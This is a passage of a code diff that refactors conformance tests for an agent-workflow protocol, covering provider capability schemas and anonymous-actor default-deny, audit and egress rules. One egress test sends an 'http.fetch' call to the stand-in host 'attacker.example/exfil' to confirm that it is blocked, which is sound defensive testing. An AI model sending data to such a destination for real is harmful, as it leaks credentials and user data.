  454. package/src/scenarios/workspace-cross-tenant-isolation-blackbox.test.ts +6 -5
  455. package/src/scenarios/workspace-cross-tenant-isolation.test.ts +7 -6
  456. package/src/scenarios/x-openwop-form-pack-manifest.test.ts +8 -7
  457. package/src/setup.ts +4 -2
  458. package/vitest.config.ts +5 -1
  459. package/api/.redocly.lint-ignore.yaml +0 -22
  460. package/api/asyncapi.yaml +0 -834
  461. package/api/grpc/openwop.proto +0 -251
  462. package/api/openapi.yaml +0 -2693
  463. package/api/redocly.yaml +0 -23
  464. package/schemas/README.md +0 -144
  465. package/schemas/a2a-task-state.schema.json +0 -78
  466. package/schemas/a2ui-surface-delta-frame.schema.json +0 -48
  467. package/schemas/agent-deployment-transition.schema.json +0 -49
  468. package/schemas/agent-deployment.schema.json +0 -54
  469. package/schemas/agent-eval-suite.schema.json +0 -140
  470. package/schemas/agent-inventory-response.schema.json +0 -115
  471. package/schemas/agent-manifest.schema.json +0 -156
  472. package/schemas/agent-org-chart.schema.json +0 -82
  473. package/schemas/agent-ref.schema.json +0 -63
  474. package/schemas/agent-roster-entry.schema.json +0 -81
  475. package/schemas/agent-roster-response.schema.json +0 -21
  476. package/schemas/ai-envelope.schema.json +0 -134
  477. package/schemas/annotation-create.schema.json +0 -37
  478. package/schemas/annotation.schema.json +0 -56
  479. package/schemas/artifact-type-pack-manifest.schema.json +0 -244
  480. package/schemas/audit-verify-result.schema.json +0 -90
  481. package/schemas/budget-policy.schema.json +0 -18
  482. package/schemas/capabilities.schema.json +0 -4124
  483. package/schemas/certification-bundle-v2.schema.json +0 -118
  484. package/schemas/channel-presence-payload.schema.json +0 -41
  485. package/schemas/channel-written-payload.schema.json +0 -55
  486. package/schemas/chat-card-pack-manifest.schema.json +0 -253
  487. package/schemas/compact-tool-descriptor.schema.json +0 -51
  488. package/schemas/compensation-policy.schema.json +0 -64
  489. package/schemas/conformance-certification-bundle.schema.json +0 -86
  490. package/schemas/connection-pack-manifest.schema.json +0 -353
  491. package/schemas/conversation-event.schema.json +0 -168
  492. package/schemas/conversation-turn.schema.json +0 -117
  493. package/schemas/core-conformance-mock-agent-config.schema.json +0 -152
  494. package/schemas/credential-provenance.schema.json +0 -18
  495. package/schemas/credential-reference.schema.json +0 -21
  496. package/schemas/debug-bundle.schema.json +0 -196
  497. package/schemas/dispatch-config.schema.json +0 -112
  498. package/schemas/envelopes/clarification.request.schema.json +0 -52
  499. package/schemas/envelopes/error.schema.json +0 -30
  500. package/schemas/envelopes/media.audio.schema.json +0 -38
  501. package/schemas/envelopes/media.file.schema.json +0 -37
  502. package/schemas/envelopes/media.image.schema.json +0 -33
  503. package/schemas/envelopes/schema.request.schema.json +0 -26
  504. package/schemas/envelopes/schema.response.schema.json +0 -22
  505. package/schemas/envelopes/ui.a2ui-surface.schema.json +0 -154
  506. package/schemas/error-envelope.schema.json +0 -25
  507. package/schemas/eval-summary.schema.json +0 -92
  508. package/schemas/export-bundle.schema.json +0 -66
  509. package/schemas/form-content-pack-manifest.schema.json +0 -243
  510. package/schemas/frontend-plugin-manifest.schema.json +0 -109
  511. package/schemas/goal.schema.json +0 -104
  512. package/schemas/heartbeat-evaluated.schema.json +0 -14
  513. package/schemas/heartbeat-state-changed.schema.json +0 -14
  514. package/schemas/localized-content-language-settings.schema.json +0 -26
  515. package/schemas/localized-content-page-response.schema.json +0 -60
  516. package/schemas/localized-content-page.schema.json +0 -62
  517. package/schemas/localized-content-section.schema.json +0 -51
  518. package/schemas/memory-entry.schema.json +0 -36
  519. package/schemas/memory-list-options.schema.json +0 -37
  520. package/schemas/node-pack-manifest.schema.json +0 -654
  521. package/schemas/orchestrator-decision.schema.json +0 -90
  522. package/schemas/org-chart-responsibility-view.schema.json +0 -26
  523. package/schemas/pack-lockfile.schema.json +0 -108
  524. package/schemas/prompt-kind.schema.json +0 -8
  525. package/schemas/prompt-pack-manifest.schema.json +0 -117
  526. package/schemas/prompt-ref.schema.json +0 -40
  527. package/schemas/prompt-template.schema.json +0 -149
  528. package/schemas/proposal.schema.json +0 -84
  529. package/schemas/registry-version-manifest.schema.json +0 -208
  530. package/schemas/residency.schema.json +0 -16
  531. package/schemas/run-ancestry-response.schema.json +0 -54
  532. package/schemas/run-diff-response.schema.json +0 -64
  533. package/schemas/run-event-payloads.schema.json +0 -4452
  534. package/schemas/run-event.schema.json +0 -211
  535. package/schemas/run-options.schema.json +0 -80
  536. package/schemas/run-orchestrator-decided-event.schema.json +0 -20
  537. package/schemas/run-snapshot.schema.json +0 -148
  538. package/schemas/security-advisory.schema.json +0 -109
  539. package/schemas/self-hosted-runner-dispatch-frame.schema.json +0 -79
  540. package/schemas/self-hosted-runner-registration.schema.json +0 -53
  541. package/schemas/self-hosted-runner-result-frame.schema.json +0 -38
  542. package/schemas/subject.schema.json +0 -56
  543. package/schemas/suspend-request.schema.json +0 -207
  544. package/schemas/tool-descriptor.schema.json +0 -63
  545. package/schemas/trigger-event.schema.json +0 -222
  546. package/schemas/trigger-subscription-registration.schema.json +0 -67
  547. package/schemas/trigger-subscription.schema.json +0 -26
  548. package/schemas/ui-plugin-message.schema.json +0 -90
  549. package/schemas/workflow-chain-pack-manifest.schema.json +0 -615
  550. package/schemas/workflow-definition.schema.json +0 -850
  551. package/schemas/workload-identity.schema.json +0 -79
  552. package/schemas/workspace-file-create.schema.json +0 -20
  553. package/schemas/workspace-file.schema.json +0 -39
@@ -32,9 +32,7 @@ import { join } from 'node:path';
32
32
  import Ajv2020 from 'ajv/dist/2020.js';
33
33
  import addFormats from 'ajv-formats';
34
34
  import { SCHEMAS_DIR } from '../lib/paths.js';
35
-
36
- /** Server-free assertion-message helper. */
37
- const why = (specRef: string, requirement: string): string => `${specRef} — ${requirement}`;
35
+ import { req } from '../lib/requirement-ids.js';
38
36
 
39
37
  function loadSchema(name: string): Record<string, unknown> {
40
38
  return JSON.parse(readFileSync(join(SCHEMAS_DIR, name), 'utf8')) as Record<string, unknown>;
@@ -87,19 +85,19 @@ describe('aiproviders-selfhosted-shape: self-hosted provider-class advertisement
87
85
  | undefined;
88
86
  expect(
89
87
  selfHosted,
90
- why('capabilities.md §aiProviders.selfHosted', 'aiProviders.selfHosted MUST be declared'),
88
+ req('openwop.it.aiproviders-selfhosted-shape.aiproviders-selfhosted-is-declared-as-a-string-with-uniqueitems', 'capabilities.md §aiProviders.selfHosted', 'aiProviders.selfHosted MUST be declared'),
91
89
  ).toBeDefined();
92
- expect(selfHosted?.type, why('RFC 0108 §A', 'selfHosted MUST be an array')).toBe('array');
90
+ expect(selfHosted?.type, req('openwop.it.aiproviders-selfhosted-shape.aiproviders-selfhosted-is-declared-as-a-string-with-uniqueitems', 'RFC 0108 §A', 'selfHosted MUST be an array')).toBe('array');
93
91
  expect(
94
92
  selfHosted?.uniqueItems,
95
- why('RFC 0108 §A', 'selfHosted entries MUST be unique'),
93
+ req('openwop.it.aiproviders-selfhosted-shape.aiproviders-selfhosted-is-declared-as-a-string-with-uniqueitems', 'RFC 0108 §A', 'selfHosted entries MUST be unique'),
96
94
  ).toBe(true);
97
- expect(selfHosted?.items?.type, why('RFC 0108 §A', 'selfHosted entries MUST be strings')).toBe(
95
+ expect(selfHosted?.items?.type, req('openwop.it.aiproviders-selfhosted-shape.aiproviders-selfhosted-is-declared-as-a-string-with-uniqueitems', 'RFC 0108 §A', 'selfHosted entries MUST be strings')).toBe(
98
96
  'string',
99
97
  );
100
98
  expect(
101
99
  selfHosted?.items?.minLength,
102
- why('RFC 0108 §A', 'a selfHosted id MUST be non-empty'),
100
+ req('openwop.it.aiproviders-selfhosted-shape.aiproviders-selfhosted-is-declared-as-a-string-with-uniqueitems', 'RFC 0108 §A', 'a selfHosted id MUST be non-empty'),
103
101
  ).toBe(1);
104
102
  });
105
103
 
@@ -109,7 +107,7 @@ describe('aiproviders-selfhosted-shape: self-hosted provider-class advertisement
109
107
  const required = Array.isArray(aiProviders?.required) ? (aiProviders!.required as string[]) : [];
110
108
  expect(
111
109
  required.includes('selfHosted'),
112
- why('RFC 0108 §A.1', 'aiProviders.selfHosted MUST be optional'),
110
+ req('openwop.it.aiproviders-selfhosted-shape.selfhosted-is-not-in-aiproviders-required-absence-no-self-hosted-endpoint-is-a-v', 'RFC 0108 §A.1', 'aiProviders.selfHosted MUST be optional'),
113
111
  ).toBe(false);
114
112
  });
115
113
 
@@ -125,19 +123,19 @@ describe('aiproviders-selfhosted-shape: self-hosted provider-class advertisement
125
123
 
126
124
  expect(
127
125
  validate(['ollama', 'compat']),
128
- why('RFC 0108 §A', 'a conforming selfHosted array MUST validate'),
126
+ req('openwop.it.aiproviders-selfhosted-shape.ajv-accepts-a-conforming-selfhosted-array-and-rejects-non-array-duplicate-empty', 'RFC 0108 §A', 'a conforming selfHosted array MUST validate'),
129
127
  ).toBe(true);
130
128
  expect(
131
129
  validate('ollama'),
132
- why('RFC 0108 §A', 'a non-array selfHosted MUST be rejected'),
130
+ req('openwop.it.aiproviders-selfhosted-shape.ajv-accepts-a-conforming-selfhosted-array-and-rejects-non-array-duplicate-empty', 'RFC 0108 §A', 'a non-array selfHosted MUST be rejected'),
133
131
  ).toBe(false);
134
132
  expect(
135
133
  validate(['ollama', 'ollama']),
136
- why('RFC 0108 §A', 'duplicate selfHosted entries MUST be rejected (uniqueItems)'),
134
+ req('openwop.it.aiproviders-selfhosted-shape.ajv-accepts-a-conforming-selfhosted-array-and-rejects-non-array-duplicate-empty', 'RFC 0108 §A', 'duplicate selfHosted entries MUST be rejected (uniqueItems)'),
137
135
  ).toBe(false);
138
136
  expect(
139
137
  validate(['']),
140
- why('RFC 0108 §A', 'an empty-string selfHosted id MUST be rejected (minLength 1)'),
138
+ req('openwop.it.aiproviders-selfhosted-shape.ajv-accepts-a-conforming-selfhosted-array-and-rejects-non-array-duplicate-empty', 'RFC 0108 §A', 'an empty-string selfHosted id MUST be rejected (minLength 1)'),
141
139
  ).toBe(false);
142
140
  });
143
141
 
@@ -149,13 +147,13 @@ describe('aiproviders-selfhosted-shape: self-hosted provider-class advertisement
149
147
  byok: ['anthropic', 'openai', 'compat'],
150
148
  selfHosted: ['ollama', 'compat'],
151
149
  }),
152
- why('RFC 0108 §A.1/§A.3', 'a conforming advertisement MUST have no violations'),
150
+ req('openwop.it.aiproviders-selfhosted-shape.a-1-subset-a-3-non-disclosure-a-conforming-doc-has-no-violations-an-out-of-subse', 'RFC 0108 §A.1/§A.3', 'a conforming advertisement MUST have no violations'),
153
151
  ).toEqual([]);
154
152
 
155
153
  // §A.1 violation: `vllm` not in supported.
156
154
  expect(
157
155
  validateSelfHosted({ supported: ['anthropic', 'ollama'], selfHosted: ['ollama', 'vllm'] }),
158
- why('RFC 0108 §A.1', 'a selfHosted id absent from supported MUST be flagged'),
156
+ req('openwop.it.aiproviders-selfhosted-shape.a-1-subset-a-3-non-disclosure-a-conforming-doc-has-no-violations-an-out-of-subse', 'RFC 0108 §A.1', 'a selfHosted id absent from supported MUST be flagged'),
159
157
  ).not.toEqual([]);
160
158
 
161
159
  // §A.3 violations: URL-shaped ids leak the endpoint location.
@@ -166,14 +164,14 @@ describe('aiproviders-selfhosted-shape: self-hosted provider-class advertisement
166
164
  ]) {
167
165
  expect(
168
166
  isUrlShaped(leaky),
169
- why('RFC 0108 §A.3', `the URL-shaped id "${leaky}" MUST be detected as non-conformant`),
167
+ req('openwop.it.aiproviders-selfhosted-shape.a-1-subset-a-3-non-disclosure-a-conforming-doc-has-no-violations-an-out-of-subse', 'RFC 0108 §A.3', `the URL-shaped id "${leaky}" MUST be detected as non-conformant`),
170
168
  ).toBe(true);
171
169
  }
172
170
 
173
171
  // A label with a non-numeric suffix (`compat:label`) is NOT URL-shaped — it is a permitted opaque id.
174
172
  expect(
175
173
  isUrlShaped('compat:local-ollama'),
176
- why('RFC 0108 §A.3', 'an opaque `compat:<label>` id (no host:port) MUST be permitted'),
174
+ req('openwop.it.aiproviders-selfhosted-shape.a-1-subset-a-3-non-disclosure-a-conforming-doc-has-no-violations-an-out-of-subse', 'RFC 0108 §A.3', 'an opaque `compat:<label>` id (no host:port) MUST be permitted'),
177
175
  ).toBe(false);
178
176
  });
179
177
  });
@@ -31,9 +31,7 @@ import { join } from 'node:path';
31
31
  import Ajv2020 from 'ajv/dist/2020.js';
32
32
  import addFormats from 'ajv-formats';
33
33
  import { SCHEMAS_DIR } from '../lib/paths.js';
34
-
35
- /** Server-free assertion-message helper. */
36
- const why = (specRef: string, requirement: string): string => `${specRef} — ${requirement}`;
34
+ import { req } from '../lib/requirement-ids.js';
37
35
 
38
36
  function loadSchema(name: string): Record<string, unknown> {
39
37
  return JSON.parse(readFileSync(join(SCHEMAS_DIR, name), 'utf8')) as Record<string, unknown>;
@@ -49,11 +47,11 @@ describe('aiproviders-speechsynth-shape: capability advertisement (RFC 0105 §B,
49
47
  | undefined;
50
48
  expect(
51
49
  speechSynthesis,
52
- why('host-capabilities.md §host.aiProviders', 'aiProviders.speechSynthesis MUST be declared'),
50
+ req('openwop.it.aiproviders-speechsynth-shape.aiproviders-speechsynthesis-is-declared-as-the-string-const-supported', 'host-capabilities.md §host.aiProviders', 'aiProviders.speechSynthesis MUST be declared'),
53
51
  ).toBeDefined();
54
52
  expect(
55
53
  speechSynthesis?.const,
56
- why('RFC 0105 §B', 'aiProviders.speechSynthesis MUST be the string const "supported" (not an object)'),
54
+ req('openwop.it.aiproviders-speechsynth-shape.aiproviders-speechsynthesis-is-declared-as-the-string-const-supported', 'RFC 0105 §B', 'aiProviders.speechSynthesis MUST be the string const "supported" (not an object)'),
57
55
  ).toBe('supported');
58
56
  });
59
57
 
@@ -63,7 +61,7 @@ describe('aiproviders-speechsynth-shape: capability advertisement (RFC 0105 §B,
63
61
  const required = Array.isArray(aiProviders?.required) ? (aiProviders!.required as string[]) : [];
64
62
  expect(
65
63
  required.includes('speechSynthesis'),
66
- why('RFC 0105 §B', 'aiProviders.speechSynthesis MUST be optional (a host without TTS is valid)'),
64
+ req('openwop.it.aiproviders-speechsynth-shape.speechsynthesis-is-not-in-aiproviders-required-absence-no-tts-is-a-valid-default', 'RFC 0105 §B', 'aiProviders.speechSynthesis MUST be optional (a host without TTS is valid)'),
67
65
  ).toBe(false);
68
66
  });
69
67
 
@@ -81,12 +79,12 @@ describe('aiproviders-speechsynth-shape: capability advertisement (RFC 0105 §B,
81
79
 
82
80
  expect(
83
81
  validate('supported'),
84
- why('RFC 0105 §B', 'aiProviders.speechSynthesis === "supported" MUST validate'),
82
+ req('openwop.it.aiproviders-speechsynth-shape.ajv-accepts-the-string-const-form-and-rejects-the-object-form', 'RFC 0105 §B', 'aiProviders.speechSynthesis === "supported" MUST validate'),
85
83
  ).toBe(true);
86
84
 
87
85
  expect(
88
86
  validate({ supported: true }),
89
- why('RFC 0105 §B', 'the object form { supported: true } MUST be rejected by the const'),
87
+ req('openwop.it.aiproviders-speechsynth-shape.ajv-accepts-the-string-const-form-and-rejects-the-object-form', 'RFC 0105 §B', 'the object form { supported: true } MUST be rejected by the const'),
90
88
  ).toBe(false);
91
89
  });
92
90
  });
@@ -38,9 +38,8 @@ import { driver } from '../lib/driver.js';
38
38
  import { behaviorGate } from '../lib/behavior-gate.js';
39
39
  import { readCapabilityFamily } from '../lib/discovery-capabilities.js';
40
40
  import { SCHEMAS_DIR } from '../lib/paths.js';
41
-
42
- /** Server-free assertion-message helper. */
43
- const why = (specRef: string, requirement: string): string => `${specRef} — ${requirement}`;
41
+ import { req } from '../lib/requirement-ids.js';
42
+ import { softSkip } from '../lib/soft-skip.js';
44
43
 
45
44
  /** Read the canonical error code from a response body (tolerant of
46
45
  * `{error}` / `{code}` / `{error:{code}}` shapes). */
@@ -73,7 +72,7 @@ describe('aiproviders-subscription-scope: schema shape (RFC 0121, server-free)',
73
72
  | undefined;
74
73
  expect(
75
74
  authModes?.additionalProperties?.items?.enum,
76
- why('capabilities.md §aiProviders.authModes', 'the authModes enum MUST include "subscription" (RFC 0121)'),
75
+ req('openwop.it.aiproviders-subscription-scope.the-aiproviders-authmodes-enum-includes-subscription', 'capabilities.md §aiProviders.authModes', 'the authModes enum MUST include "subscription" (RFC 0121)'),
77
76
  ).toContain('subscription');
78
77
  });
79
78
  });
@@ -94,7 +93,7 @@ describe('aiproviders-subscription-scope: §B.7 in-byok (advertisement-gated)',
94
93
  for (const provider of subProviders) {
95
94
  expect(
96
95
  byok.has(provider),
97
- driver.describe('RFC 0121 §B.7', `subscription provider '${provider}' MUST appear in aiProviders.byok`),
96
+ req('openwop.it.aiproviders-subscription-scope.every-advertised-subscription-provider-appears-in-aiproviders-byok', 'RFC 0121 §B.7', `subscription provider '${provider}' MUST appear in aiProviders.byok`),
98
97
  ).toBe(true);
99
98
  }
100
99
  });
@@ -110,18 +109,18 @@ describe('aiproviders-subscription-scope: §B.8 user-scope-only (bind-seam-gated
110
109
  // multi-instance deploy with no durable per-user login) can still prove the
111
110
  // safety rail here. Soft-skips on 404 when the seam is unwired.
112
111
  const res = await driver.post(SEAM, { provider: 'anthropic', mode: 'subscription', scope: 'tenant' });
113
- if (res.status === 404) return; // seam unwired — soft-skip
112
+ if (res.status === 404) return softSkip('blocked', 'precondition not met — `res.status === 404` returned early (seam unwired — soft-skip) (seam, prior step, or fixture unavailable)'); // seam unwired — soft-skip
114
113
 
115
114
  expect(
116
115
  res.status >= 400,
117
- driver.describe(
116
+ req('openwop.it.aiproviders-subscription-scope.a-tenant-scope-subscription-binding-is-rejected-with-credential-scope-forbidden',
118
117
  'RFC 0121 §B.8',
119
118
  `binding a subscription credential at tenant scope MUST be rejected (got HTTP ${res.status})`,
120
119
  ),
121
120
  ).toBe(true);
122
121
  expect(
123
122
  errCode(res.json),
124
- driver.describe(
123
+ req('openwop.it.aiproviders-subscription-scope.a-tenant-scope-subscription-binding-is-rejected-with-credential-scope-forbidden',
125
124
  'RFC 0121 §B.8',
126
125
  'a rejected tenant-scope subscription binding MUST carry the canonical `credential_scope_forbidden` error code',
127
126
  ),
@@ -18,8 +18,9 @@
18
18
 
19
19
  import { describe, it, expect } from 'vitest';
20
20
  import { behaviorGate } from '../lib/behavior-gate.js';
21
- import { driver } from '../lib/driver.js';
22
21
  import { isAnonymousActorAdvertised, anonDispatch } from '../lib/anonymousActor.js';
22
+ import { req } from '../lib/requirement-ids.js';
23
+ import { softSkip } from '../lib/soft-skip.js';
23
24
 
24
25
  const PROFILE = 'openwop-anonymous-actor';
25
26
 
@@ -33,19 +34,19 @@ describe('anonymous-actor-audit-opaque (RFC 0132 §D)', () => {
33
34
  it('the authorization.decided principal is opaque, non-PII, and the record carries no credential', async () => {
34
35
  if (!behaviorGate(PROFILE, await isAnonymousActorAdvertised())) return;
35
36
  const res = await anonDispatch({ tool: 'catalog.read' });
36
- if (res.status === 404 || res.status === 405) return; // seam unwired — soft-skip
37
+ if (res.status === 404 || res.status === 405) return softSkip('blocked', 'precondition not met — `res.status === 404 || res.status === 405` returned early (seam unwired — soft-skip) (seam, prior step, or fixture unavailable)'); // seam unwired — soft-skip
37
38
 
38
39
  const decided = res.json?.authorizationDecided?.payload;
39
40
  expect(
40
41
  decided?.principal,
41
- driver.describe('RFC 0132 §D', 'an anon tool call MUST emit authorization.decided with a principal'),
42
+ req('openwop.it.anonymous-actor-audit-opaque.the-authorization-decided-principal-is-opaque-non-pii-and-the-record-carries-no', 'RFC 0132 §D', 'an anon tool call MUST emit authorization.decided with a principal'),
42
43
  ).toBeTruthy();
43
44
 
44
45
  const principal = decided?.principal ?? '';
45
46
  for (const [pattern, label] of PII_PATTERNS) {
46
47
  expect(
47
48
  pattern.test(principal),
48
- driver.describe('SECURITY anon-actor-audit-opaque', `the anon principal MUST NOT embed ${label}`),
49
+ req('openwop.it.anonymous-actor-audit-opaque.the-authorization-decided-principal-is-opaque-non-pii-and-the-record-carries-no', 'SECURITY anon-actor-audit-opaque', `the anon principal MUST NOT embed ${label}`),
49
50
  ).toBe(false);
50
51
  }
51
52
  // The record MUST NOT carry credential material (reason is redaction-safe).
@@ -53,7 +54,7 @@ describe('anonymous-actor-audit-opaque (RFC 0132 §D)', () => {
53
54
  for (const [pattern, label] of PII_PATTERNS) {
54
55
  expect(
55
56
  pattern.test(serialized),
56
- driver.describe('SECURITY anon-actor-audit-opaque', `the audit record MUST NOT carry ${label}`),
57
+ req('openwop.it.anonymous-actor-audit-opaque.the-authorization-decided-principal-is-opaque-non-pii-and-the-record-carries-no', 'SECURITY anon-actor-audit-opaque', `the audit record MUST NOT carry ${label}`),
57
58
  ).toBe(false);
58
59
  }
59
60
  });
@@ -61,11 +62,11 @@ describe('anonymous-actor-audit-opaque (RFC 0132 §D)', () => {
61
62
  it('the run snapshot echoes owner.principalKind "anonymous"', async () => {
62
63
  if (!behaviorGate(PROFILE, await isAnonymousActorAdvertised())) return;
63
64
  const res = await anonDispatch({ tool: 'catalog.read' });
64
- if (res.status === 404 || res.status === 405) return; // seam unwired — soft-skip
65
- if (!res.json?.owner) return; // seam does not echo an owner triple — nothing to assert
65
+ if (res.status === 404 || res.status === 405) return softSkip('blocked', 'precondition not met — `res.status === 404 || res.status === 405` returned early (seam unwired — soft-skip) (seam, prior step, or fixture unavailable)'); // seam unwired — soft-skip
66
+ if (!res.json?.owner) return softSkip('blocked', 'precondition not met — `!res.json?.owner` returned early (seam does not echo an owner triple — nothing to assert) (seam, prior step, or fixture unavailable)'); // seam does not echo an owner triple — nothing to assert
66
67
  expect(
67
68
  res.json.owner.principalKind,
68
- driver.describe('RFC 0132 §A', 'an anon-authorized run MUST set owner.principalKind "anonymous"'),
69
+ req('openwop.it.anonymous-actor-audit-opaque.the-run-snapshot-echoes-owner-principalkind-anonymous', 'RFC 0132 §A', 'an anon-authorized run MUST set owner.principalKind "anonymous"'),
69
70
  ).toBe('anonymous');
70
71
  });
71
72
  });
@@ -24,13 +24,14 @@
24
24
 
25
25
  import { describe, it, expect } from 'vitest';
26
26
  import { behaviorGate } from '../lib/behavior-gate.js';
27
- import { driver } from '../lib/driver.js';
28
27
  import {
29
28
  isAnonymousActorAdvertised,
30
29
  anonDispatch,
31
30
  anonToolCatalog,
32
31
  readAnonymousActorCap,
33
32
  } from '../lib/anonymousActor.js';
33
+ import { req } from '../lib/requirement-ids.js';
34
+ import { softSkip } from '../lib/soft-skip.js';
34
35
 
35
36
  const PROFILE = 'openwop-anonymous-actor';
36
37
 
@@ -41,36 +42,36 @@ describe('anonymous-actor-default-deny (RFC 0132 §C.1)', () => {
41
42
  it('the anon tool catalog returns only the explicit surface grant — never a default baseline', async () => {
42
43
  if (!behaviorGate(PROFILE, await isAnonymousActorAdvertised())) return;
43
44
  const cat = await anonToolCatalog();
44
- if (cat.status === 404 || cat.status === 405) return; // seam unwired — soft-skip
45
+ if (cat.status === 404 || cat.status === 405) return softSkip('blocked', 'precondition not met — `cat.status === 404 || cat.status === 405` returned early (seam unwired — soft-skip) (seam, prior step, or fixture unavailable)'); // seam unwired — soft-skip
45
46
  expect(
46
47
  cat.status,
47
- driver.describe('RFC 0132 §C.1', 'the anon tool-catalog read MUST resolve (scoped to the anon principal)'),
48
+ req('openwop.it.anonymous-actor-default-deny.the-anon-tool-catalog-returns-only-the-explicit-surface-grant-never-a-default-ba', 'RFC 0132 §C.1', 'the anon tool-catalog read MUST resolve (scoped to the anon principal)'),
48
49
  ).toBe(200);
49
50
  // Default-deny: the ungranted baseline tool MUST NOT appear in the anon catalog.
50
51
  const names = cat.tools.map((t) => t.name);
51
52
  expect(
52
53
  names,
53
- driver.describe('RFC 0132 §C.1', 'a default-on baseline tool MUST NOT appear in the anon grant'),
54
+ req('openwop.it.anonymous-actor-default-deny.the-anon-tool-catalog-returns-only-the-explicit-surface-grant-never-a-default-ba', 'RFC 0132 §C.1', 'a default-on baseline tool MUST NOT appear in the anon grant'),
54
55
  ).not.toContain(UNGRANTED_TOOL);
55
56
  });
56
57
 
57
58
  it('calling a non-granted tool denies with reason "anon-not-granted" and does not dispatch', async () => {
58
59
  if (!behaviorGate(PROFILE, await isAnonymousActorAdvertised())) return;
59
60
  const res = await anonDispatch({ tool: UNGRANTED_TOOL });
60
- if (res.status === 404 || res.status === 405) return; // seam unwired — soft-skip
61
+ if (res.status === 404 || res.status === 405) return softSkip('blocked', 'precondition not met — `res.status === 404 || res.status === 405` returned early (seam unwired — soft-skip) (seam, prior step, or fixture unavailable)'); // seam unwired — soft-skip
61
62
  const decided = res.json?.authorizationDecided?.payload;
62
63
  expect(
63
64
  decided?.allowed,
64
- driver.describe('RFC 0132 §C.1', 'a non-granted anon tool MUST be denied (allowed:false), never default-allowed'),
65
+ req('openwop.it.anonymous-actor-default-deny.calling-a-non-granted-tool-denies-with-reason-anon-not-granted-and-does-not-disp', 'RFC 0132 §C.1', 'a non-granted anon tool MUST be denied (allowed:false), never default-allowed'),
65
66
  ).toBe(false);
66
67
  expect(
67
68
  decided?.reason,
68
- driver.describe('RFC 0132 §C.1', 'a default-deny denial carries the machine reason "anon-not-granted"'),
69
+ req('openwop.it.anonymous-actor-default-deny.calling-a-non-granted-tool-denies-with-reason-anon-not-granted-and-does-not-disp', 'RFC 0132 §C.1', 'a default-deny denial carries the machine reason "anon-not-granted"'),
69
70
  ).toBe('anon-not-granted');
70
71
  // No dispatch — the seam MUST NOT return a tool result for a denied call.
71
72
  expect(
72
73
  res.json?.result,
73
- driver.describe('RFC 0132 §C.1', 'a denied anon tool MUST NOT dispatch (no result)'),
74
+ req('openwop.it.anonymous-actor-default-deny.calling-a-non-granted-tool-denies-with-reason-anon-not-granted-and-does-not-disp', 'RFC 0132 §C.1', 'a denied anon tool MUST NOT dispatch (no result)'),
74
75
  ).toBeUndefined();
75
76
  });
76
77
 
@@ -80,7 +81,7 @@ describe('anonymous-actor-default-deny (RFC 0132 §C.1)', () => {
80
81
  if ((cap?.tiers ?? []).includes('bounded-write-egress')) {
81
82
  expect(
82
83
  (cap?.writeEgressControls ?? []).length,
83
- driver.describe('RFC 0132 §B.2', 'bounded-write-egress MUST advertise ≥1 writeEgressControl'),
84
+ req('openwop.it.anonymous-actor-default-deny.a-host-that-advertises-bounded-write-egress-also-advertises-a-mandatory-control', 'RFC 0132 §B.2', 'bounded-write-egress MUST advertise ≥1 writeEgressControl'),
84
85
  ).toBeGreaterThan(0);
85
86
  }
86
87
  });
@@ -21,8 +21,9 @@
21
21
 
22
22
  import { describe, it, expect } from 'vitest';
23
23
  import { behaviorGate } from '../lib/behavior-gate.js';
24
- import { driver } from '../lib/driver.js';
25
24
  import { readAnonymousActorCap, anonDispatch } from '../lib/anonymousActor.js';
25
+ import { req } from '../lib/requirement-ids.js';
26
+ import { softSkip } from '../lib/soft-skip.js';
26
27
 
27
28
  const PROFILE = 'openwop-anonymous-actor';
28
29
 
@@ -36,19 +37,19 @@ describe('anonymous-actor-egress-guarded (RFC 0132 §C.3)', () => {
36
37
  tool: 'http.fetch',
37
38
  destination: 'https://attacker.example/exfil',
38
39
  });
39
- if (res.status === 404 || res.status === 405) return; // seam unwired — soft-skip
40
+ if (res.status === 404 || res.status === 405) return softSkip('blocked', 'precondition not met — `res.status === 404 || res.status === 405` returned early (seam unwired — soft-skip) (seam, prior step, or fixture unavailable)'); // seam unwired — soft-skip
40
41
  const egress = res.json?.egressDecided;
41
42
  expect(
42
43
  egress,
43
- driver.describe('RFC 0132 §C.3', 'an anon egress MUST ride the RFC 0079 egress-decision path'),
44
+ req('openwop.it.anonymous-actor-egress-guarded.an-out-of-audience-anon-egress-is-denied-downgraded-and-attaches-no-credential', 'RFC 0132 §C.3', 'an anon egress MUST ride the RFC 0079 egress-decision path'),
44
45
  ).toBeDefined();
45
46
  expect(
46
47
  ['denied', 'downgraded'],
47
- driver.describe('RFC 0132 §C.3', 'an out-of-audience anon egress MUST be denied or downgraded — never allowed-with-credential'),
48
+ req('openwop.it.anonymous-actor-egress-guarded.an-out-of-audience-anon-egress-is-denied-downgraded-and-attaches-no-credential', 'RFC 0132 §C.3', 'an out-of-audience anon egress MUST be denied or downgraded — never allowed-with-credential'),
48
49
  ).toContain(egress?.decision);
49
50
  expect(
50
51
  egress?.credentialAttached === true,
51
- driver.describe('SECURITY anon-actor-egress-ssrf-guarded', 'no tenant/host credential MUST attach out-of-audience'),
52
+ req('openwop.it.anonymous-actor-egress-guarded.an-out-of-audience-anon-egress-is-denied-downgraded-and-attaches-no-credential', 'SECURITY anon-actor-egress-ssrf-guarded', 'no tenant/host credential MUST attach out-of-audience'),
52
53
  ).toBe(false);
53
54
  });
54
55
  });
@@ -19,8 +19,9 @@
19
19
 
20
20
  import { describe, it, expect } from 'vitest';
21
21
  import { behaviorGate } from '../lib/behavior-gate.js';
22
- import { driver } from '../lib/driver.js';
23
22
  import { isAnonymousActorAdvertised, anonDispatch } from '../lib/anonymousActor.js';
23
+ import { req } from '../lib/requirement-ids.js';
24
+ import { softSkip } from '../lib/soft-skip.js';
24
25
 
25
26
  const PROFILE = 'openwop-anonymous-actor';
26
27
 
@@ -32,11 +33,11 @@ describe('anonymous-actor-no-secret-reach (RFC 0132 §C.2/§C.3)', () => {
32
33
  it('a read-tier anon tool call never surfaces a planted BYOK canary', async () => {
33
34
  if (!behaviorGate(PROFILE, await isAnonymousActorAdvertised())) return;
34
35
  const res = await anonDispatch({ tool: 'catalog.read', args: { probeSecrets: true } });
35
- if (res.status === 404 || res.status === 405) return; // seam unwired — soft-skip
36
+ if (res.status === 404 || res.status === 405) return softSkip('blocked', 'precondition not met — `res.status === 404 || res.status === 405` returned early (seam unwired — soft-skip) (seam, prior step, or fixture unavailable)'); // seam unwired — soft-skip
36
37
  const serialized = JSON.stringify(res.json ?? {});
37
38
  expect(
38
39
  serialized.includes(BYOK_CANARY),
39
